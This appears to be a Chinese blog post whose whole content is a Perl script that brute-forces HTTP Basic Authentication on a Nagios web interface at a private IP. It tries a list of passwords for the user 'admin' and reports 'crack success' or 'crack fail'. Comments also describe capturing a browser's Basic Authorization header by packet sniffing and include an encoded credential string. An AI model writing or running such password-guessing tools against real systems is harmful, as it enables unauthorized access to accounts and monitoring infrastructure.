Perl脚本Basic Authentication方法

li26598296

　　Perl脚本Basic Authentication方法
　　

• #!/usr/bin/perl
  
• 
  
• use strict;
  
• use warnings;
  
• use HTTP::Request;
  
• use LWP::UserAgent;
  
• use Data::Dumper;
  
• use Getopt::Std;
  
• 
  
• my %options = ();
  
• getopt("d:",\%options);
  
• 
  
• my $debug = $options{d} || 0;
  
• 
  
• my @password_array = qw(ken jack sunny ben kick);
  
• 
  
• &main(@password_array);
  
• 
  
• 
  
• 
  
• sub main {
  
•     foreach my $password (@_) {
  
•         my $status = &get_url($password);
  
•         if ($status == 1) {
  
•                 last;
  
•         }
  
•     }
  
• }
  
• 
  
• 
  
• sub get_url {
  
•     my $password = shift;
  
• 
  
•     my $ua;
  
•     my $req;
  
•     my $res;
  
• 
  
•     my $url = 'http://192.168.4.40:8010/nagios';
  
• 
  
•     $ua = LWP::UserAgent->new;
  
•     $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3');
  
•     $ua->timeout(5);
  
• 
  
•     $req = HTTP::Request->new( GET => $url );
  
•     #方法1:使用Firefox登陆这个Url输入用户密码时抓包，将密文抓下来。贴在下面
  
•     #$req->header("Authorization" => 'Basic bW9ua3R4cep1Y3dlYl9tb25pdG9y');
  
•     #方法2:可以直接输入用户名和密码，适合进行穷举时使用
  
•     $req->authorization_basic('admin', $password);
  
• 
  
•     $res = $ua->request($req);
  
•     print "************************** content begin **************************\n" if $debug;
  
•     print $res->content . "\n" if $debug;
  
•     print "************************** content end **************************\n" if $debug;
  
• 
  
•     print '*************************** Dumper $res ***************************' . "\n" if $debug;
  
•     print Dumper $res if $debug;
  
•     print '*************************** Dumper $res ***************************' . "\n" if $debug;
  
• 
  
•     if ($res->is_success) {
  
•         print "crack success,password: " . $password . "\n";
  
•         return 1;
  
•     } else {
  
•         print "crack fail,password: " . $password . "\n";
  
•         return 0;
  
•     }
  
• }